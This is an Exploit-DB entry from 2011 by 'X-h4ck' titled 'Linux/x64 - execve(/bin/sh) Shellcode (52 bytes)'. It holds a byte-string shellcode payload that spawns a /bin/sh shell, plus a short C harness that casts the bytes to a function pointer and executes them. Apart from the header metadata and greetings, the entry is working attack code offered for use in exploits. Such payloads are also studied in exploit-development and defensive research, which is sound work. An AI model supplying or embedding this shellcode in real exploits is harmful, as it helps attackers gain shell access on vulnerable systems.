Linux/x64 - execve(/bin/sh) Shellcode (52 bytes)

EDB-ID:

18197

CVE:

N/A


Author:

X-h4ck


Platform:

Linux_x86-64

Date:

2011-12-03


/*

Exploit Title : linux/x86-64 execve(/bin/sh) 52 bytes
Tested on     : Linux iron 2.6.38-8-generic #42-Ubuntu SMP Mon Apr 11 03:31:24 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
Date          : 03/12/2011
Author        : X-h4ck
Email         : mem001@live.com
Website       : http://www.pirate.al
Greetz        : mywisdom - Danzel - Wulns~ - IllyrianWarrior- Ace - M4yh3m - Saldeath 
                ev1lut1on - bi0 - Slimshaddy - d3trimentaL - Lekosta 
                CR - Hack-Down - H3ll - Pretorian - d4nte_sA 

*/


char SC[] =   "\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\x0c"\
              "\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8\xde\xff"\
              "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41\x42\x42\x42"\
              "\x42";

int
main (int argc, char **argv)
{
        int (*ret)();              
        ret = (int(*)())SC; 
                                   
        (int)(*ret)();             
        exit(0);                   
}